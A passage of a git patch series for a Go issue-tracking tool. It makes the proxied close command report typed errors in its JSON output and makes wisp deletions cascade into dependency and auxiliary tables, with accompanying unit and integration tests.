+ + failures := closeProxiedFailures(&pre, args) + if len(failures) != 1 { + t.Fatalf("failures = %+v, want one", failures) + } + if failures[0].Error != tc.err.Error() { + t.Errorf("failed[].error = %q, want the typed error %q", failures[0].Error, tc.err.Error()) + } + if pre.errors[0] != closeProxiedRefusal("rc-1", tc.err) { + t.Errorf("stderr line = %q, want closeProxiedRefusal's spelling %q", pre.errors[0], closeProxiedRefusal("rc-1", tc.err)) + } + }) + } +} + +// The second half of the route-parity contract, and the one the decoration fix +// alone does not deliver: a refusal that reached the proxied route arrives +// wrapped by the layers it travelled through, so even the undecorated typed +// error read differently per route until closeProxiedTypedRefusal unwrapped it. +// +// The wrapper strings here are transcribed from the two production sites named +// in that function's comment, and the "want" column is the byte-identical +// string the direct route records for the same refusal. +func TestCloseProxiedTypedRefusalUnwrapsTheRoleWrappers(t *testing.T) { + blocked := fmt.Errorf("%w: wr-1 is blocked by [wr-2]", storage.ErrCloseBlocked) + openChildren := &storage.CloseOpenChildrenError{IssueID: "wr-1", OpenChildren: 3} + unexpected := fmt.Errorf("dolt: connection reset") + + // What the role actually hands back: db/issue.go wraps, then issue.go wraps. + roleWrapped := func(inner error) error { + return fmt.Errorf("close wr-1: %w", fmt.Errorf("db: IssueSQLRepository.CloseChecked wr-1: %w", inner)) + } + + tests := []struct { + name string + err error + want string + }{ + { + name: "blocked, unwrapped", + err: blocked, + want: blocked.Error(), + }, + { + name: "blocked, wrapped by the role", + err: roleWrapped(blocked), + want: blocked.Error(), + }, + { + name: "open children, wrapped by the role", + err: roleWrapped(openChildren), + want: openChildren.Error(), + }, + { + // No sentinel to converge on, and the chain is the only thing that + // says where the failure came from, so it is kept whole. + name: "unexpected error keeps its whole chain", + err: roleWrapped(unexpected), + want: "close wr-1: db: IssueSQLRepository.CloseChecked wr-1: dolt: connection reset", + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + if got := closeProxiedTypedRefusal(tc.err); got != tc.want { + t.Errorf("closeProxiedTypedRefusal = %q, want %q", got, tc.want) + } + }) + } + + // The walk must stop AT the refusal, not at the bare sentinel underneath + // it: unwrapping one link too far would drop the subject and leave every + // blocked id reporting the same reasonless sentence. + if got := closeProxiedTypedRefusal(roleWrapped(blocked)); got == storage.ErrCloseBlocked.Error() { + t.Errorf("closeProxiedTypedRefusal = %q, which is the bare sentinel: the id and its blockers were unwrapped away", got) + } +} + +// A refusal decided by the CLI's own close policy has no separate display form, +// so both fields hold the one sentence closeProxiedCheckOne returned — and the +// failures still come back in the order the caller typed the ids, across a mix +// of policy and engine refusals. errors is what decides WHICH arguments failed, +// so a policy slot with an empty failureErrors twin would be a silent +// reason-less entry; this pins that it is not. +func TestCloseProxiedFailuresKeepPolicyRefusalsAndTypedOrder(t *testing.T) { + policyRefusal := "cannot close mx-1: gate not satisfied" + engineErr := fmt.Errorf("%w: mx-3 is blocked by [mx-9]", storage.ErrCloseBlocked) + + // arg 0 refused by policy, arg 1 closes, arg 2 refused by the engine. + args := []string{"mx-1", "mx-2", "mx-3"} + pre := closeProxiedPreflight{ + items: []issueops.BatchCloseItem{ + {IssueID: "mx-2", Reason: "done"}, + {IssueID: "mx-3", Reason: "done"}, + }, + itemArgs: []int{1, 2}, + before: map[string]*types.Issue{"mx-2": {ID: "mx-2"}}, + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + } + // closeProxiedRunPreflight fills both slots for a policy refusal. + pre.errors[0] = policyRefusal + pre.failureErrors[0] = policyRefusal + + closeProxiedOutcomes(&pre, issueops.CloseBatchResult{ + Outcomes: []issueops.CloseOutcome{ + {IssueID: "mx-2", Issue: &types.Issue{ID: "mx-2"}, Changed: true}, + {IssueID: "mx-3", Err: engineErr}, + }, + }) + + failures := closeProxiedFailures(&pre, args) + want := []closeIDFailure{ + {ID: "mx-1", Error: policyRefusal}, + {ID: "mx-3", Error: engineErr.Error()}, + } + if len(failures) != len(want) { + t.Fatalf("failures = %+v, want %+v", failures, want) + } + for i := range want { + if failures[i] != want[i] { + t.Errorf("failures[%d] = %+v, want %+v", i, failures[i], want[i]) + } + } + + // An entry never goes out reason-less. No production writer can reach this + // state — both fill the twin — but the degradation is defined rather than + // accidental, because an empty reason is the one answer a caller asking why + // an id failed cannot use. + pre.failureErrors[0] = "" + if got := closeProxiedFailures(&pre, args); got[0].Error != policyRefusal { + t.Errorf("failures[0].Error = %q, want the display line %q as the fallback", got[0].Error, policyRefusal) + } +} diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 74038e62b..53df108c9 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -449,6 +449,15 @@ func TestProxiedServerClose(t *testing.T) { if report.Failed[0].Error == "" { t.Errorf("failure report for %s carried no reason", blocked.ID) } + + // failed[].error is the TYPED error, the same on this route as on the + // direct one — see the twin assertions in TestEmbeddedClose/ + // close_partial_failure_json_names_the_failed_ids. The --force hint is + // advice for a human reader, so it belongs on the stderr line above and + // not in the field a --json consumer keys off; recording the decorated + // display line here gave the identical refusal two spellings depending + // on which route the caller was on. + assertCloseFailedErrorIsTyped(t, report.Failed[0].Error, stderr) }) t.Run("close_pinned_refuses_without_force", func(t *testing.T) { diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index 5ead731e8..cfff01077 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -39,11 +39,22 @@ type closeProxiedInput struct { // errors is indexed by ARGUMENT position, not by item, so a refusal reported // here and one reported by the batch still print in the order the caller typed // the ids. +// +// failureErrors is the same list at the same indices, but carries what a --json +// consumer reads instead of what a person reads: the TYPED error for an engine +// refusal, where errors holds closeProxiedRefusal's decorated display line. The +// direct route makes exactly this split (close.go records res.Err.Error() in +// closeIDFailure while printing closeDirectRefusal), and keeping the decorated +// line in the machine-readable field made the same refusal answer differently +// per route — which is the drift this whole close rewire exists to remove. A +// policy refusal decided here has no separate display form, so both slots hold +// the one sentence closeProxiedCheckOne returned. type closeProxiedPreflight struct { - items []issueops.BatchCloseItem - itemArgs []int - before map[string]*types.Issue - errors []string + items []issueops.BatchCloseItem + itemArgs []int + before map[string]*types.Issue + errors []string + failureErrors []string } type closeProxiedOutcome struct { @@ -122,15 +133,12 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin outcomes, closeReasons := closeProxiedOutcomes(&pre, result) post := closeProxiedRunPostClose(ctx, args, in, outcomes) - // pre.errors is indexed by argument position, so args[i] is the id this - // refusal belongs to. - var failures []closeIDFailure - for i, e := range pre.errors { + for _, e := range pre.errors { if e != "" { fmt.Fprintln(os.Stderr, e) - failures = append(failures, closeIDFailure{ID: args[i], Error: e}) } } + failures := closeProxiedFailures(&pre, args) for _, w := range post.warnings { fmt.Fprintf(os.Stderr, "Warning: %s\n", w) } @@ -230,14 +238,19 @@ func proxiedBatchCloser() (issueops.BatchCloser, error) { // close policy to it, in one read-only unit of work. func closeProxiedRunPreflight(ctx context.Context, args, reasons []string, in closeProxiedInput) (closeProxiedPreflight, error) { pre := closeProxiedPreflight{ - errors: make([]string, len(args)), - before: make(map[string]*types.Issue, len(args)), + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + before: make(map[string]*types.Issue, len(args)), } _, err := uow.RunTxRead(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (struct{}, error) { for i, id := range args { refusal, current := closeProxiedCheckOne(ctx, uw, id, in) if refusal != "" { pre.errors[i] = refusal + // A policy refusal is already the bare sentence, so the human + // and machine fields agree; only the engine refusals below have + // a decorated display form to strip. + pre.failureErrors[i] = refusal continue } pre.before[id] = current @@ -299,6 +312,10 @@ func closeProxiedOutcomes(pre *closeProxiedPreflight, result issueops.CloseBatch item := pre.items[j] if outcome.Err != nil { pre.errors[pre.itemArgs[j]] = closeProxiedRefusal(item.IssueID, outcome.Err) + // The typed error, not the decorated display line: the --force hint + // closeProxiedRefusal appends is advice for a human reader, and the + // id already has its own field. Same split as the direct route. + pre.failureErrors[pre.itemArgs[j]] = closeProxiedTypedRefusal(outcome.Err) continue } before := pre.before[item.IssueID] @@ -326,6 +343,82 @@ func closeProxiedOutcomes(pre *closeProxiedPreflight, result issueops.CloseBatch return outcomes, reasons } +// closeProxiedFailures pairs every refused argument with the id it belongs to, +// for the machine-readable half of the partial-failure report. +// +// Both slices are indexed by ARGUMENT position, so args[i] is the id that earned +// pre.errors[i], and the failures come back in the order the caller typed the +// ids. errors decides WHICH arguments failed — it is the slot the stderr print +// consults too, so the two halves of the report can never disagree about that — +// while failureErrors supplies the reason, because that is the field where the +// typed error belongs. +// +// Every writer of an errors slot fills its failureErrors twin, so the fallback +// below is unreachable today. It is here because the cost of getting that wrong +// is asymmetric: a caller that asked why an id failed is better served by the +// decorated line than by an empty string, so a future writer that forgets the +// twin degrades the wording instead of dropping the reason. +func closeProxiedFailures(pre *closeProxiedPreflight, args []string) []closeIDFailure { + var failures []closeIDFailure + for i, e := range pre.errors { + if e == "" { + continue + } + reason := pre.failureErrors[i] + if reason == "" { + reason = e + } + failures = append(failures, closeIDFailure{ID: args[i], Error: reason}) + } + return failures +} + +// closeProxiedTypedRefusal is the reason a --json consumer reads for one +// refused id: the typed error, spelled the way the direct route spells it. +// +// Stripping closeProxiedRefusal's decoration is not enough on its own to make +// the two routes agree, because a refusal reaching this route has also been +// wrapped by the layers it traveled through — the use case adds "close : " +// (storage/domain/issue.go) and the SQL repository adds +// "db: IssueSQLRepository.CloseChecked : " (storage/domain/db/issue.go) — +// while the direct route hands back the refusal exactly as the engine minted +// it. So the same blocked id reads +// +// cannot close blocked issue: x-1 is blocked by [x-2] (direct) +// close x-1: db: IssueSQLRepository.CloseChecked x-1: cannot close blocked … (proxied) +// +// For the refusal classes the CLI already names by sentinel, we report the +// outermost error that the sentinel itself explains: that is the sentence the +// engine wrote, and it is byte-identical to the direct route's. Neither wrap +// tells a caller anything it does not know — it asked to close that id — and +// one of them leaks an internal repository type name into an operator-facing +// field. +// +// Anything outside those classes keeps its whole chain. There the wrapping is +// not noise, it is the only thing that says where an unexpected failure came +// from, and there is no engine sentence to converge on. +func closeProxiedTypedRefusal(err error) string { + for _, sentinel := range []error{storage.ErrCloseBlocked, storage.ErrCloseOpenChildren} { + if !errors.Is(err, sentinel) { + continue + } + // Walk in until the next link IS the bare sentinel: that link's parent + // is the refusal with its subject filled in ("… x-1 is blocked by + // [x-2]"), where the sentinel alone would say only "cannot close + // blocked issue". + refusal := err + for { + next := errors.Unwrap(refusal) + if next == nil || next == sentinel || !errors.Is(next, sentinel) { + break + } + refusal = next + } + return refusal.Error() + } + return err.Error() +} + // closeProxiedRefusal spells one item's typed refusal the way this route has // always spelled it. The vocabulary is matched with errors.Is rather than by // reading the message, which is the point of the outcome carrying a typed From 26467a8d02b4e470dbb41c0769616e3db6f82c62 Mon Sep 17 00:00:00 2001 From: Matthew Doka Date: Sun, 27 Sep 2026 01:02:26 -0700 Subject: [PATCH 203/624] fix(storage): cascade wisp deletes into wisp_dependencies (#6563) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(storage): cascade wisp deletes into wisp_dependencies DeleteWispFromDependenciesInTx and DeleteWispsFromDependenciesInTx only cleaned the dependencies table, never wisp_dependencies — even though DeleteCascadeTables(isWisp=true) declares wisp_dependencies as part of the wisp deletion set. On stores whose wisp_dependencies table lacks the migration-0047 FK constraints (like a live production store observed with only the ck_wisp_dep_one_target CHECK), every wisp deletion orphaned that wisp's wisp_dependencies rows on both sides, and reaper scans flagged the leftovers as dangling_parent_ref anomalies that recurred after each cleanup (~100+ rows/hour under a busy daemon). Remove the deleted wisp's wisp_dependencies edges as child (issue_id) and as parent (depends_on_wisp_id) in both the single and batch delete paths. Two targeted DELETEs per direction rather than one OR query, so each hits its own index — the ff-tqm pattern; a single OR across both columns previously caused Dolt i/o timeouts. Adds TestWispDeleteCascade_CleansUpWispDependencies to the standalone- server integration harness (the existing wisp_gc_test.go coverage requires a Docker testcontainer and silently skips without one). The test drops the fresh-bootstrap FKs first so it exercises the delete path's own cascade, matching the production schema; it fails without this fix and covers the single-delete path the Docker tests omit. Co-Authored-By: Claude Opus 4.6 * fixup(review): pin over-deletion and correct two cascade comments Maintainer review fixes for PR #6563. No production behavior change. The new subtests asserted only that the deleted wisp's wisp_dependencies rows were gone, so an unguarded "DELETE FROM wisp_dependencies" with no WHERE passed both of them — verified by mutating both helpers and watching the test stay green. Each subtest now also creates an edge between two wisps it never deletes (a bystander pair for the single delete, an out-of-batch pair for the IN (...) form) and asserts that edge survives. Under the same mutation the test now fails three times with expected-vs-got. This also replaces the comment that claimed the surviving wisps' edge set was checked, which it was not: every edge the subtest created involved the deleted wisp. dropWispDependencyFKs attributed the FK constraints to migration 0047. They come from 0021, which creates all three inline in CREATE TABLE; 0058 re-adds two when healing a legacy split store, and 0047's ADD CONSTRAINT statements are gated on that same legacy path, so neither runs on the fresh bootstrap this harness uses. wispAuxCascadeTables exists so the cascade set cannot drift between the two delete paths, so note there why wisp_dependencies is handled in issueops instead: its rows are journaled as dependency removals. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 4.6 Co-authored-by: Julian Knutsen (cherry picked from commit 4213c229a4ec72aed8b1875be14a428fa8e150a3) --- .../wisp_delete_cascade_integration_test.go | 112 ++++++++++++++++++ internal/storage/dolt/wisps.go | 2 +- internal/storage/issueops/dependencies.go | 27 +++++ 3 files changed, 140 insertions(+), 1 deletion(-) diff --git a/internal/storage/dolt/wisp_delete_cascade_integration_test.go b/internal/storage/dolt/wisp_delete_cascade_integration_test.go index c57cdaecc..34a885c5d 100644 --- a/internal/storage/dolt/wisp_delete_cascade_integration_test.go +++ b/internal/storage/dolt/wisp_delete_cascade_integration_test.go @@ -101,6 +101,28 @@ func dropWispAuxFKs(t *testing.T, ctx context.Context, db *sql.DB) { } } +// dropWispDependencyFKs removes the wisp_dependencies FK constraints so the +// test store's schema matches the live hq store, whose wisp_dependencies +// table carries only the ck_wisp_dep_one_target CHECK constraint and no FKs. +// A fresh bootstrap gets all three from migration 0021, which creates them +// inline in CREATE TABLE; 0058 re-adds two of them when healing a legacy +// split store, and 0047's ADD CONSTRAINT statements are gated on that same +// legacy path, so neither runs here. Without this drop, the fresh store's +// ON DELETE CASCADE would clean wisp_dependencies for free and the test +// could not fail against a delete path that leaks. +func dropWispDependencyFKs(t *testing.T, ctx context.Context, db *sql.DB) { + t.Helper() + for _, stmt := range []string{ + "ALTER TABLE wisp_dependencies DROP FOREIGN KEY fk_wisp_dep_issue", + "ALTER TABLE wisp_dependencies DROP FOREIGN KEY fk_wisp_dep_wisp_target", + "ALTER TABLE wisp_dependencies DROP FOREIGN KEY fk_wisp_dep_issue_target", + } { + if _, err := db.ExecContext(ctx, stmt); err != nil { + t.Fatalf("drop wisp_dependencies FK (%s): %v", stmt, err) + } + } +} + // wispAuxTables lists the four wisp auxiliary tables a wisp delete must // cascade into. This mirrors issueops.DeleteCascadeTables(true), which // already documents this exact set as belonging to a wisp delete — separate @@ -254,3 +276,93 @@ func TestWispDeleteCascade_RepeatedCyclesLeaveNoOrphans(t *testing.T) { assertWispAuxTablesTotalZero(t, ctx, store.db, i) } } + +// TestWispDeleteCascade_CleansUpWispDependencies is the regression test for +// the hq dangling_parent_ref reaper anomaly: DeleteWispFromDependenciesInTx +// and DeleteWispsFromDependenciesInTx cleaned only the dependencies table, +// never wisp_dependencies — even though DeleteCascadeTables(true) declares +// wisp_dependencies as part of the wisp deletion set. On stores without the +// migration-0047 FKs (like live hq), every wisp deletion orphaned that +// wisp's wisp_dependencies rows on both sides (issue_id and +// depends_on_wisp_id). The package's existing regression tests for this +// behavior (TestDeleteWispBatch_CleansUpDependencies, +// TestDeleteWispBatch_BothDirectionsCleared in wisp_gc_test.go) require a +// Docker-testcontainer Dolt server; this covers the same contract — plus +// the single-delete path they omit — on the standalone-server harness. +func TestWispDeleteCascade_CleansUpWispDependencies(t *testing.T) { + store := setupWispCascadeStore(t) + ctx, cancel := context.WithTimeout(context.Background(), time.Minute) + defer cancel() + + dropWispDependencyFKs(t, ctx, store.db) + + t.Run("single delete clears both directions", func(t *testing.T) { + // mid appears as both child (issue_id, via mid->parent) and parent + // (depends_on_wisp_id, via child->mid) in wisp_dependencies. + parent := createTestWisp(t, ctx, store, "wisp-dep parent") + mid := createTestWisp(t, ctx, store, "wisp-dep mid") + child := createTestWisp(t, ctx, store, "wisp-dep child") + mustAddWispDep(t, ctx, store, mid.ID, parent.ID) + mustAddWispDep(t, ctx, store, child.ID, mid.ID) + + // An edge between two wisps that are never deleted here. Neither of + // its endpoints is mid, so it must still be there afterwards: without + // it the subtest only asserts that rows disappeared, which an + // over-broad DELETE (missing or wrong WHERE) satisfies just as well. + bystanderA := createTestWisp(t, ctx, store, "wisp-dep bystander a") + bystanderB := createTestWisp(t, ctx, store, "wisp-dep bystander b") + mustAddWispDep(t, ctx, store, bystanderA.ID, bystanderB.ID) + + if err := store.deleteWisp(ctx, mid.ID); err != nil { + t.Fatalf("deleteWisp: %v", err) + } + + if n := countWispDependencyRows(t, ctx, store.db, mid.ID); n != 0 { + t.Errorf("expected 0 wisp_dependencies rows referencing deleted wisp %s, got %d", mid.ID, n) + } + if n := countWispDependencyRows(t, ctx, store.db, bystanderA.ID, bystanderB.ID); n != 1 { + t.Errorf("expected the bystander edge to survive deleteWisp(%s), got %d rows", mid.ID, n) + } + + // parent and child are left holding no edges once mid's rows go, so + // deleting them must succeed and must still not touch the bystander. + if err := store.deleteWisp(ctx, parent.ID); err != nil { + t.Fatalf("deleteWisp parent: %v", err) + } + if err := store.deleteWisp(ctx, child.ID); err != nil { + t.Fatalf("deleteWisp child: %v", err) + } + if n := countWispDependencyRows(t, ctx, store.db, bystanderA.ID, bystanderB.ID); n != 1 { + t.Errorf("expected the bystander edge to survive the parent/child deletes, got %d rows", n) + } + }) + + t.Run("batch delete clears both directions", func(t *testing.T) { + root := createTestWisp(t, ctx, store, "wisp-dep batch root") + stepA := createTestWisp(t, ctx, store, "wisp-dep batch step-a") + stepB := createTestWisp(t, ctx, store, "wisp-dep batch step-b") + mustAddWispDep(t, ctx, store, stepA.ID, root.ID) + mustAddWispDep(t, ctx, store, stepB.ID, stepA.ID) + + // Same over-deletion guard as the single-delete subtest, against the + // IN (...) form: both endpoints are outside the deleted batch. + outsideA := createTestWisp(t, ctx, store, "wisp-dep outside-batch a") + outsideB := createTestWisp(t, ctx, store, "wisp-dep outside-batch b") + mustAddWispDep(t, ctx, store, outsideA.ID, outsideB.ID) + + deleted, err := store.deleteWispBatch(ctx, []string{root.ID, stepA.ID, stepB.ID}) + if err != nil { + t.Fatalf("deleteWispBatch: %v", err) + } + if deleted != 3 { + t.Fatalf("expected 3 deleted, got %d", deleted) + } + + if n := countWispDependencyRows(t, ctx, store.db, root.ID, stepA.ID, stepB.ID); n != 0 { + t.Errorf("expected 0 wisp_dependencies rows after batch delete, got %d", n) + } + if n := countWispDependencyRows(t, ctx, store.db, outsideA.ID, outsideB.ID); n != 1 { + t.Errorf("expected the out-of-batch edge to survive deleteWispBatch, got %d rows", n) + } + }) +} diff --git a/internal/storage/dolt/wisps.go b/internal/storage/dolt/wisps.go index 3cd08ab0a..cf92a428f 100644 --- a/internal/storage/dolt/wisps.go +++ b/internal/storage/dolt/wisps.go @@ -420,7 +420,7 @@ func (s *DoltStore) deleteWispBatch(ctx context.Context, ids []string) (int, err } // deleteWispBatchTx deletes one batch of wisps inside its own transaction. -// Keeping each transaction to ≤200 wisps (6 DELETE statements) ensures it +// Keeping each transaction to ≤200 wisps (8 DELETE statements) ensures it // completes well within Dolt's 10 s write timeout. func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, error) { tx, err := s.db.BeginTx(ctx, nil) diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index 88e151d2d..755ec8da8 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -580,6 +580,20 @@ func DeleteWispFromDependenciesInTx(ctx context.Context, tx *sql.Tx, wispID stri "DELETE FROM dependencies WHERE depends_on_wisp_id = ?", wispID); err != nil { return fmt.Errorf("delete wisp %s from dependencies: %w", wispID, err) } + // wisp_dependencies is part of the wisp deletion set (DeleteCascadeTables), + // but no delete path cleaned it: every wisp deletion orphaned its + // wisp_dependencies rows on both sides, accumulating dangling parent/child + // refs that reaper scans flag as anomalies. Remove the wisp's edges as + // child (issue_id) and as parent (depends_on_wisp_id). Two targeted + // DELETEs, not one OR query, so each hits its own index (ff-tqm). + if _, err := tx.ExecContext(ctx, + "DELETE FROM wisp_dependencies WHERE issue_id = ?", wispID); err != nil { + return fmt.Errorf("delete wisp %s child rows from wisp_dependencies: %w", wispID, err) + } + if _, err := tx.ExecContext(ctx, + "DELETE FROM wisp_dependencies WHERE depends_on_wisp_id = ?", wispID); err != nil { + return fmt.Errorf("delete wisp %s parent rows from wisp_dependencies: %w", wispID, err) + } return nil } @@ -594,6 +608,19 @@ func DeleteWispsFromDependenciesInTx(ctx context.Context, tx *sql.Tx, wispIDs [] args...); err != nil { return fmt.Errorf("delete wisps from dependencies: %w", err) } + // See DeleteWispFromDependenciesInTx: wisp_dependencies rows must go with + // the wisps, on both the child and parent side. Two targeted DELETEs, not + // one OR query, so each hits its own index (ff-tqm). + if _, err := tx.ExecContext(ctx, + fmt.Sprintf("DELETE FROM wisp_dependencies WHERE issue_id IN (%s)", inClause), + args...); err != nil { + return fmt.Errorf("delete wisps child rows from wisp_dependencies: %w", err) + } + if _, err := tx.ExecContext(ctx, + fmt.Sprintf("DELETE FROM wisp_dependencies WHERE depends_on_wisp_id IN (%s)", inClause), + args...); err != nil { + return fmt.Errorf("delete wisps parent rows from wisp_dependencies: %w", err) + } return nil } From cf08d4e3f9b6bdac92780dd57e103bc62b0c20e7 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 13:58:55 -0700 Subject: [PATCH 204/624] fix(storage): cascade wisp aux rows in the shared wisp delete path (#6487) (#6627) deleteIssueRowInTx, behind Transaction.DeleteIssue (bd mol burn) and DeleteResolvedSetInTx, removed only the wisps row and the dependencies edges, so on stores lacking the wisp aux FKs every deleted wisp orphaned its wisp_labels, wisp_events, wisp_comments and wisp_child_counters rows. #5343 fixed only the DoltStore wisp GC paths. Move the aux table list and delete into issueops.DeleteWispAuxRowsInTx, call it from deleteIssueRowInTx, and have the DoltStore paths use the same helper so the table set cannot drift. Forward-fix only: cleaning existing orphans needs a batched backfill and is left to a follow-up. Sibling of #6563 (wisp_dependencies). Co-authored-by: Claude Sonnet 5 (cherry picked from commit 3ba08dba1cd3e23e55f70109a2b3c703cb1e76d4) --- ...wisp_delete_cascade_tx_integration_test.go | 61 +++++++++++++++++++ internal/storage/dolt/wisps.go | 38 +----------- internal/storage/issueops/delete.go | 37 +++++++++++ .../issueops/journal_completeness_test.go | 1 + 4 files changed, 101 insertions(+), 36 deletions(-) create mode 100644 internal/storage/dolt/wisp_delete_cascade_tx_integration_test.go diff --git a/internal/storage/dolt/wisp_delete_cascade_tx_integration_test.go b/internal/storage/dolt/wisp_delete_cascade_tx_integration_test.go new file mode 100644 index 000000000..6a51bf8ae --- /dev/null +++ b/internal/storage/dolt/wisp_delete_cascade_tx_integration_test.go @@ -0,0 +1,61 @@ +//go:build integration && !windows + +package dolt + +import ( + "context" + "database/sql" + "fmt" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" +) + +// TestWispDeleteCascade_TransactionDeleteIssue covers the delete path #5343 +// left uncovered: Transaction.DeleteIssue (what `bd mol burn` uses) goes +// through issueops.DeleteIssueInTx -> deleteIssueRowInTx rather than +// deleteWisp/deleteWispBatchTx, and removed only the wisps row and the +// dependencies edges. On stores without the wisp aux FKs (dropped by +// setupWispCascadeStore) every burned wisp orphaned its wisp_labels, +// wisp_events, wisp_comments and wisp_child_counters rows (#6487). +func TestWispDeleteCascade_TransactionDeleteIssue(t *testing.T) { + store := setupWispCascadeStore(t) + ctx, cancel := context.WithTimeout(context.Background(), time.Minute) + defer cancel() + + wisp := createTestWisp(t, ctx, store, "tx-delete wisp") + other := createTestWisp(t, ctx, store, "tx-delete bystander wisp") + seedWispAuxRows(t, ctx, store.db, wisp.ID) + seedWispAuxRows(t, ctx, store.db, other.ID) + bystanderBefore := make([]int, len(wispAuxTables)) + for i, tc := range wispAuxTables { + bystanderBefore[i] = countWispAuxRows(t, ctx, store.db, tc.table, tc.column, other.ID) + } + + if err := store.RunInTransaction(ctx, "test: burn wisp", func(tx storage.Transaction) error { + return tx.DeleteIssue(ctx, wisp.ID) + }); err != nil { + t.Fatalf("Transaction.DeleteIssue: %v", err) + } + + assertWispAuxRowsGone(t, ctx, store.db, wisp.ID) + + // The delete must be scoped to the deleted wisp: a bystander's rows stay. + for i, tc := range wispAuxTables { + if got := countWispAuxRows(t, ctx, store.db, tc.table, tc.column, other.ID); got != bystanderBefore[i] { + t.Errorf("bystander wisp %s: %s rows changed from %d to %d", other.ID, tc.table, bystanderBefore[i], got) + } + } +} + +func countWispAuxRows(t *testing.T, ctx context.Context, db *sql.DB, table, column, id string) int { + t.Helper() + var count int + //nolint:gosec // G201: table/column come from the fixed wispAuxTables literal, not input. + q := fmt.Sprintf("SELECT COUNT(*) FROM %s WHERE %s = ?", table, column) + if err := db.QueryRowContext(ctx, q, id).Scan(&count); err != nil { + t.Fatalf("count %s: %v", table, err) + } + return count +} diff --git a/internal/storage/dolt/wisps.go b/internal/storage/dolt/wisps.go index cf92a428f..36b6bee66 100644 --- a/internal/storage/dolt/wisps.go +++ b/internal/storage/dolt/wisps.go @@ -294,40 +294,6 @@ func (s *DoltStore) closeWispChecked(ctx context.Context, id string, actor strin return storage.CloseIssueResult{Unchanged: res.AlreadyClosed, OpenChildren: res.OpenChildren}, nil } -// wispAuxCascadeTables lists the wisp auxiliary tables a wisp delete must -// also clean up, mirroring internal/storage/schema/cli_migrations.go:300-315. -// wisp_child_counters is keyed on parent_id (a wisp can be a parent whose -// children hold the counter row); the other three are keyed on issue_id. -// Some deployed stores enforce this via FK ON DELETE CASCADE and some do not -// (be-zdqyl: the migration adding those FKs was never promoted out of -// migrations/ignored/), so the delete paths below must not rely on the -// database to do it for them. -var wispAuxCascadeTables = []struct{ table, column string }{ - {"wisp_labels", "issue_id"}, - {"wisp_events", "issue_id"}, - {"wisp_comments", "issue_id"}, - {"wisp_child_counters", "parent_id"}, -} - -// deleteWispAuxRowsInTx removes every row the given wisp ids own across -// wispAuxCascadeTables. Shared by deleteWisp and deleteWispBatchTx so the -// table set cannot drift between the two paths. -func deleteWispAuxRowsInTx(ctx context.Context, tx *sql.Tx, ids []string) error { - if len(ids) == 0 { - return nil - } - inClause, args := doltBuildSQLInClause(ids) - for _, aux := range wispAuxCascadeTables { - //nolint:gosec // G201: aux.table/aux.column come from the fixed wispAuxCascadeTables literal; inClause contains only ? markers - if _, err := tx.ExecContext(ctx, - fmt.Sprintf("DELETE FROM %s WHERE %s IN (%s)", aux.table, aux.column, inClause), - args...); err != nil { - return fmt.Errorf("delete wisp aux rows from %s: %w", aux.table, err) - } - } - return nil -} - // deleteWisp permanently removes a wisp and its related data. func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { tx, err := s.db.BeginTx(ctx, nil) @@ -374,7 +340,7 @@ func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { return err } - if err := deleteWispAuxRowsInTx(ctx, tx, []string{id}); err != nil { + if err := issueops.DeleteWispAuxRowsInTx(ctx, tx, []string{id}); err != nil { return fmt.Errorf("delete wisp aux rows for %s: %w", id, err) } @@ -475,7 +441,7 @@ func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, e return 0, err } - if err := deleteWispAuxRowsInTx(ctx, tx, ids); err != nil { + if err := issueops.DeleteWispAuxRowsInTx(ctx, tx, ids); err != nil { return 0, fmt.Errorf("delete wisp aux rows: %w", err) } diff --git a/internal/storage/issueops/delete.go b/internal/storage/issueops/delete.go index 7ed67f634..e0406c8f2 100644 --- a/internal/storage/issueops/delete.go +++ b/internal/storage/issueops/delete.go @@ -85,6 +85,9 @@ func deleteIssueRowInTx(ctx context.Context, tx *sql.Tx, id string, isWisp bool, if err := DeleteWispFromDependenciesInTx(ctx, tx, id); err != nil { return err } + if err := DeleteWispAuxRowsInTx(ctx, tx, []string{id}); err != nil { + return err + } } else if err := DeleteLeaseInTx(ctx, tx, id); err != nil { // A deleted issue holds no lease. return err @@ -92,6 +95,40 @@ func deleteIssueRowInTx(ctx context.Context, tx *sql.Tx, id string, isWisp bool, return nil } +// wispAuxCascadeTables lists the wisp auxiliary tables a wisp delete must also +// clean up, mirroring internal/storage/schema/cli_migrations.go:300-315. +// wisp_child_counters is keyed on parent_id (a wisp can be a parent whose +// children hold the counter row); the other three are keyed on issue_id. +// Some deployed stores enforce this via FK ON DELETE CASCADE and some do not +// (be-zdqyl: the migration adding those FKs was never promoted out of +// migrations/ignored/), so the delete paths must not rely on the database to +// do it for them. wisp_dependencies is cleaned by DeleteWisp(s)FromDependenciesInTx. +var wispAuxCascadeTables = []struct{ table, column string }{ + {"wisp_labels", "issue_id"}, + {"wisp_events", "issue_id"}, + {"wisp_comments", "issue_id"}, + {"wisp_child_counters", "parent_id"}, +} + +// DeleteWispAuxRowsInTx removes every row the given wisp ids own across +// wispAuxCascadeTables. Shared by every wisp delete path (the DoltStore wisp +// GC paths and deleteIssueRowInTx) so the table set cannot drift between them. +func DeleteWispAuxRowsInTx(ctx context.Context, tx *sql.Tx, wispIDs []string) error 